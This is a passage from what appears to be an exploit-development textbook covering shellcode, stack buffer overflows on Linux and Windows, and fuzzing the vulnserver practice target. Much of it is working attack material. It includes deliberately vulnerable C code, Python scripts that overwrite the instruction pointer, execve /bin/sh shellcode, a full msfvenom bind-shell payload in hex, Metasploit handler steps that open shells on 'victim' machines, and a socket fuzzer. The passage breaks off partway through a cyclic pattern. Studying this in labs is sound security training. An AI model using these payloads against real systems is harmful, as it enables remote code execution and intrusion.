It's waiting for the connection. Now, let's set up our listener on the attacker machine using
the Metasploit Framework with the msfconsole command, and then choose the handler:

use exploit/multi/handler
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Then, we select our payload using this command:

set PAYLOAD linux/x64/shell/bind_tcp

Now, we specify our victim machine's IP:

set RHOST 192.168.238.128

Then, we specify the port—the default port for Metasploit is 4444:

set LPORT 4444

Now, we run our handler:

exploit

The output of the preceding command is shown in the following screenshot:

It says that the session is active on session 1. Let's activate this session using session 1:

It worked!
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Summary 
In this chapter, we went through how to create simple shellcodes and how to remove bad
characters. We moved on to use execve for system commands. Then, we built advanced
shellcode, such as bind TCP shell and reverse TCP shell. Finally, we saw how to use the
Metasploit Framework to build shellcodes in one line and how to set up a listener using
Metasploit.

We now know exactly how to build a payload, so we'll see how to use them. In the next
chapter, we will talk about buffer overflow attacks. 



6
Buffer Overflow Attacks

In this chapter, we will delve more deeply into buffer overflow attacks. We'll see how to
change the flow of execution and look at very simple ways to inject shellcode. Shall we
begin?

Stack overflow on Linux
Now, we are about to learn what a buffer overflow is, and we will understand how to
change the flow of an execution using a vulnerable source code.

We will be using the following code:

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}
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OK, let's tweak it a little to do something more useful:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
   int local_variable = 1;
   copytobuffer(argv[1]);
   exit(0);
}

Here, we added a new function, letsprint, which contains printf, and since this 
function has never been called in the main function, it will never be executed. So, what if we
use this buffer overflow to control the execution and change the flow to execute this
function?

Now, let's compile it and run it on our Ubuntu machine:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
$ ./buffer aaaa

The output of the preceding command can be seen in the following screenshot: 

As you can see, nothing happened. Let's try to cause an overflow:

 $ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
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The output of the preceding command can be seen in the following screenshot: 

OK, now let's try to get that error inside our GDB:

$ gdb ./buffer

Then, let's set a breakpoint at the main function to pause the execution at the main function:

$ break main

Now, the program starts. It will pause at the main function. Proceed using 24 a characters
as input:

$ run aaaaaaaaaaaaaaaaaaaaaaaa

Then, the code will pause at main:
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Hit the C and Enter keys to continue executing:

The program crashed as expected, so let's try 26 a characters as input:

$ run aaaaaaaaaaaaaaaaaaaaaaaaaa

You can use Python to generate the input instead of counting the characters:

#!/usr/bin/python

buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)

Then, give it the execute permission and execute it:

$ chmod +x exploit.py
$ ./exploit.py

From inside GDB, run the following command:

$ run $(cat input.txt)
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Then, the code will pause at main:

Hit C then Enter to continue executing:

Have you noticed the error 0x0000000000006161 in ?? ()? From the preceding
screenshot, the program doesn't know where  0x0000000000006161 is, and 6161 is aa,
which means we were able to inject 2 bytes into the RIP register, so that is how I got it to
start after 24 characters. Don't worry, we will talk about that in the next chapter.



Buffer Overflow Attacks Chapter 6

[ 178 ]

Let's confirm that by using 24 of the a characters and 6 of b characters:

$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb

We can also use Python:

#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

Then, execute the exploit to generate the new input:

$ ./exploit

After that, run the following from inside GDB:

$ run $(cat input.txt)

Then, the code will hit the breakpoint:
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Hit C then Enter to continue:

Now, by looking at the error, we see our injected b characters in there. At this point, we are
doing very well. Now we know our injection form, let's try to execute the letsprint
function using the disassemble command:

$ disassemble letsprint

The output of the preceding command can be seen in the following screenshot: 
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We got the first instruction in the letsprint function, push rbp with address
0x00000000004005e3, and the real address is what we need here; we can also get the
address by using the print command:

$ print letsprint

The output of the preceding command can be seen in the following screenshot:

Now that we have the address, let's try to build our exploit using Python because we can't
pass the address directly:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)

Then, we execute it to generate the new input:

$ ./exploit

Now, from inside GDB, run the following command:

$ run $(cat input.txt)
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Then, it will hit the breakpoint:

Hit C and then Enter to continue:

We did it! Now, let's confirm that from our shell instead of GDB:

$ ./buffer $(cat input.txt)
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The output of the preceding command can be seen in the following screenshot: 

Yes, we changed the flow of execution to execute something that should never be executed!

Let's try another payload just for fun. We will use our code here:

int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

But we will add our execve syscall to run /bin/sh from the previous chapter:

unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
 }
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Let's put them together:

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 void shell_pwn()
 {
    char code[] =
     "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
     \x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }
 int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

 void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

Also, here shell_pwn will never be executed because we never called it here, but now we
know how to do it. First, let's compile it:

 $ gcc -fno-stack-protector -z execstack exec.c -o exec

Then, open our code inside GDB:

$ gdb ./exec

Then, set a breakpoint at the main function:

$ break main
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OK, now let's prepare our exploit to confirm the exact position of the RIP register:

#!/usr/bin/python

 buffer = ''
 buffer += 'a'*24
 buffer += 'b'*6
 f = open("input.txt", "w")
 f.write(buffer)

Then, execute our exploit:

$ ./exploit.py

Now, from GDB, run the following command:

$ run $(cat input.txt)

Then, it will hit the breakpoint at the main function:
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Let's hit C and then Enter to continue:

Yes, it's complaining about our 6 b characters, 0x0000626262626262, so now we are on the
right track. Now, let's find the address of our shellcode:

$ disassemble shell_pwn
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The output of the preceding command can be seen in the following screenshot: 

The first instruction's address is 0x000000000040060d. Also, we can use the print
function:

$ print shell_pwn

The output of the preceding command can be seen in the following screenshot: 
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Perfect! Now, let's build our final exploit:

#!/usr/bin/python
 from struct import *

 buffer = ''
 buffer += 'a'*24
 buffer += pack("<Q", 0x00000040060d)
 f = open("input.txt", "w")
 f.write(buffer)

Then, execute it:

$ ./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

Then, the code will pause at the main function; hit C to continue:
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Now we've got a shell; let's try to execute it with $ cat /etc/issue:

Let's confirm that, using our bash shell instead of GDB:

$ ./exec $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 

Let's try to execute something:

It worked!
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Stack overflow on Windows
Now, let's try the previous vulnerable code to exploit the stack overflow on Windows 7. We
don't even have to disable any security mechanisms on Windows, such as Address Space
Layout Randomization (ASLR) or Data Execution Prevention (DEP); we will talk about 
security mechanisms in the Chapter 12, Detection and Prevention—shall we begin?

Let's try our vulnerable code using Code::Blocks:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
     char buffer[15];
     strcpy (buffer,input);
     return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Simply open Code::Blocks and navigate to File | New | Empty file.
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Then, write our vulnerable code. Go to File | Save file and then save it as buffer2.c:
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Now, let's build our code by navigating to Build | Build.

Let's try to see what is going on behind the scenes; open Immunity Debugger as the
administrator.

Then, go to File | Open and select buffer2. Here, enter our argument as
aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb (27 characters of a and 4 characters of b); we will
know later how to get the length of our payload:
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Now, we can see our four windows. Hit the run program once. After that, we are at the
entry point of our program:

Now, hit the run program again and notice the status bar:
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The program crashed and gave us access violation when executing 62626262, which are
our characters b in ASCII, and the most important thing to notice is the Registers (FPU)
window:

The instruction pointer is pointing at the b characters 62626262, that's perfect!

Now, let's try to locate our function. From Immunity Debugger, navigate to Debug |
Restart.
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Now we are starting over; hit the run program once and then right-click on the disassemble
window and navigate to Search for | All referenced text strings:

Here, we are searching for our string, which is inside the letsprint function, Hey!! ,
you succeeded\n.
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A new window will pop up:

The third one is our string, but it is not readable because of the exit(0) function. You can 
make sure by compiling another version without exit(0) and performing the same step,
and you will be able to read our string.

Addresses here are not fixed—you may get a different address.

Double-click on our string, then Immunity Debugger will set you exactly at our string at
address, 0x00401367:
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Really, we don't need our string, but we need to locate the letsprint function. Keep going
up until you hit the end of the previous function (RETN instruction). Then, the next
instruction will be the start of the letsprint function:

There it is! Address 0x0040135f should be the start of the letsprint function. Now, let's
confirm that. Open IDLE (Python GUI) and navigate to File | New Window:
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In the new window, write our exploit:

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)

Then, save it as exploit.py:

Click on Run on the IDLE window, which will generate a new file, input.txt, in our
current working directory.
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Open the input.txt file:

Here is our payload; copy the contents of the output file. Then, go back to Immunity
Debugger by navigating to File | Open, then paste the payload in Arguments and select
buffer2:
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Then, start the Immunity Debugger: 
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Now, hit the run program; then, it will pause at the program entry point:
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Now, hit the run program one more time:
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The program exited normally with exit code 0. Now, let's take a look at Immunity's CLI:

It worked! Let's take a look at the stack window:
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Notice that the a characters are injected in the stack and the letsprint address is injected
correctly.

Now, let's try to inject a shellcode instead of using the letsprint function, using
Metasploit to generate a shellcode for Windows:

$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c

The output of the preceding command can be seen in the following screenshot:

We can test this shellcode before we use it:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
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"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Then, build it and run it:
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Now, it's waiting for our connection. From our attacking machine, start Metasploit:

$ msfconsole

Then, select the handler to connect to the victim machine:

 $ use exploit/multi/handler

Now, select our payload, which is windows/shell_bind_tcp:

$ set payload windows/shell_bind_tcp

Then, set the IP address of the victim machine:

Now, set the rhost:

$ set rhost 192.168.129.128

Then, let's start:

$ run
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The output of the preceding command can be seen in the following screenshot:

Now, the session starts on session 1:

$ session 1

The output of the preceding command can be seen in the following screenshot:

We are now inside our victim machine. Exit this session and let's get back to our code. So,
our final code should look like this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
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"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}
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Now, build it and let's run it inside Immunity Debugger to find the address of the
shell_pwn function. Start Immunity Debugger as the administrator and select our new
code with any argument you want:

Then, hit the run program once. Now, we are at the program's entry point:
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Right-click on the main screen and navigate to Search for | All referenced text strings:

Do you see Shellcode Length? This is a string in the shell_pwn function; now double-
click on it:
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The program set us on the exact location of the Shellcode Length string. Now, let's go up
until we hit the function's start address:

That's it at address 0x00401340. Now, let's set up our exploit code:

#!/usr/bin/python
 from struct import *
 buffer = ''
 buffer += 'a'*27
 buffer += pack("<Q", 0x00401340)
 f = open("input.txt", "w")
 f.write(buffer)
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Now, run the exploit code to renew input.txt; then, open input.txt:

Then, copy the contents of it. Go back to Immunity Debugger and open the program again
and paste the payload:
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Then, hit the run program twice. The code is still running:

Also, take a look at the status bar:
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Our shellcode is running now and waiting for our connection. Let's go back to our attacking
machine and set up the handler to connect to the victim machine:

$ msfconsole
$ use exploit/multi/handler
$ set payload windows/shell_bind_tcp
$ set rhost 192.168.129.128
$ run

The output of the preceding command can be seen in the following screenshot:

The connection has been established on session 2:

 $ session 2

The output of the preceding command can be seen in the following screenshot:

It worked!

Summary
At this point, we know how buffer overflow attacks work on Linux and Windows. Also, we
know how to exploit stack overflow.

In the next chapter, we will talk about more techniques, such as how to locate and control
the instruction pointer, how to find the location of your payload, and more techniques for
buffer overflow attacks.



7
Exploit Development – Part 1

Exploit development, here we are! Now we are starting the real stuff! In this chapter, we
will walk through how to deal with exploits fuzzing. We will also learn techniques in
exploit development, such as controlling the instruction pointer and how to find a place to
put our shellcode in.

The following are the topics that we will cover in this chapter:

Fuzzing and controlling instruction pointer
Injecting a shellcode
A complete example of buffer overflow

Let's start!

Fuzzing and controlling instruction pointer
In the previous chapter, we injected characters, but we need to know the exact offset of the
instruction pointer, which was injecting 24 As. The idea of finding the exact offset of the RIP
register is injecting a specific sequence length of a pattern, and based on the last element on
the stack, calculating the offset of the RIP register. Don't worry, you will understand in the
next example. So how can we determine the exact offset of the RIP register? We have two
tools for this, the Metasploit Framework and PEDA, and we will talk about both of them.

Using Metasploit Framework and PEDA
First, we will use the Metasploit Framework to create the pattern, and to do so we need to
navigate to this location: /usr/share/metasploit-framework/tools/exploit/.
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Now, how to create a pattern? We can create one using pattern_create.rb.

Let's take an example using our vulnerable code but with a bigger buffer, let's say 256:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Now, let's compile it:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer

Then we will use GDB:

$ gdb ./buffer

Next, we calculate the offset of the RIP location. So, first let's create a pattern by using the
Metasploit Framework on our attacking machine and inside /usr/share/metasploit-
framework/tools/exploit/:

$ ./pattern_create.rb -l 300 > pattern

In the previous command, we generated a pattern with a length of 300 and saved it in a file
with the name pattern. Now copy this file to our victim machine and use this pattern as
input inside GDB:

$ run $(cat pattern)
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The output for the preceding command can be seen in the following screenshot: 

The code stopped, as expected, with an error. Now, we need to extract the last element in
the stack, because the next element after that should overflow the RIP register. Let's see how
to get the last element in the stack, using the x command to print the content of a memory.
Let's take a look at how the x command works in GDB, using help x:
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Now, let's print the last element inside the stack using x:

$ x/x $rsp

The output for the preceding command can be seen in the following screenshot: 

The last element in the stack is ;0x41386941. You can also use x/wx $rsp to print a full
word from inside the RSP register. Now we need to calculate the exact location of the RIP
register using pattern_offset.rb on our attacking machine:

$ ./pattern_offset.rb -q 0x41386941 -l 300

First, we specified the query we extracted from the stack; then we specified the length of the
pattern we used:

It tells us that the last element in the stack is at location 264, which means that the next six
characters should overflow the RIP register:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

If our calculation is correct, we should see the 42s in the RIP. Let's run this code: 

$ chmod +x exploit.py
$ ./exploit.py
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Then, from inside GDB, run the following command:

$ run $(cat input.txt)

The output for the preceding command can be seen in the following screenshot: 

Our 42s are now in the instruction pointer, which is bbbbbb in ASCII.

Injecting shellcode
The RIP now contains our 6 Bs (424242424242) and the code has stopped complaining
about where 0x0000424242424242 is in the memory.

We have succeeded with our exploit so far. This is what our payload looks like:
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We need to find a way to inject a shellcode in the As so we can jump to it easily. To do so,
we need to first inject 0x90 or the NOP instruction, which is NOP, just to make sure that
our shellcode is injected correctly. After injecting our shellcode, we change the instruction
pointer (RIP) to any address in the memory containing the NOP instruction (0x90).

Then the execution should just pass on all NOP instructions until it hits the Shellcode, and
it will start executing it:

 

This is what our exploit should look like. Let's try to inject the execve /bin/sh shellcode
(length 32). Now we need to get any address in the memory that contains 0x90:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

Let's run the new exploit:

$./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)
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The output for the preceding command can be seen in the following screenshot: 

The program stopped. Now, let's look inside the stack to search for our NOP slide by
printing 200 hex values from the memory:

$ x/200x $rsp



Exploit Development – Part 1 Chapter 7

[ 221 ]

The output for the preceding command can be seen in the following screenshot: 

We got them! These are our NOP's instructions that we injected. Also, after the NOPs, you
can see 32 Cs (43), so now we can choose any address in the middle of this NOP's
instructions; let's select 0x7fffffffe2c0:

This is what the final payload should look like:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer +=
'\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
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48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Let's run the exploit:

$ ./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

The output for the preceding command can be seen in the following screenshot: 

Now we got the bash prompt inside GDB; let's try to execute something like cat
/etc/issue:

It gave us the content of /etc/issue.

It worked!
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A complete example of buffer overflow
Now, let's see a complete example of the buffer overflow. What we need is to download and
run vulnserver on Windows. Vulnserver is a vulnerable server, where we can practice
exploit development skills. You can find it at https:/ /github. com/ stephenbradshaw/
vulnserver.

After downloading it, run it using vulnserver.exe:

Now, it's working and waiting for a connection on port 9999 using netcat.

Netcat is a tool used to initiate a connection with a server or listen on a port and wait for a
connection from another client. Now, let's use nc from the attacking machine:

$ nc 172.16.89.131 9999

The output for the preceding command can be seen in the following screenshot: 

https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
https://github.com/stephenbradshaw/vulnserver
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Now, let's try fuzzing a parameter, such as TRUN (which is a vulnerable parameter inside a
vulnerable-by-design application). We need to build up a script to help us do that:

#!/usr/bin/python
import socket

server = '172.16.89.131'    # IP address of the victim machine
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Let's try to send 50 As:

It didn't crash. How about 5000 As:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
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The output for the ./fuzzing.py command can be seen in the following screenshot: 

No reply! Let's take a look at our Windows machine: 

The program crashed and it's complaining about memory location 0x41414141, which is
our 5000 As. At the second stage, which is controlling the RIP, let's create a pattern with a
length of 5000 bytes.

From our attacking machine, navigate to /usr/share/metasploit-
framework/tools/exploit/:

./pattern_create.rb -l 5000

The output for the preceding command can be seen in the following screenshot: 
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Copy the output pattern to our exploit:

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A
c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1A
h2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6A
j7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1A
m2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6A
o7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1A
r2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6A
t7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1A
w2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
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y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1B
b2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6B
d7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B
g2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6B
i7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1B
l2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6B
n7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1B
q2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6B
s7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1B
v2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6B
x7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1C
a2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6C
c7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1C
f2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C
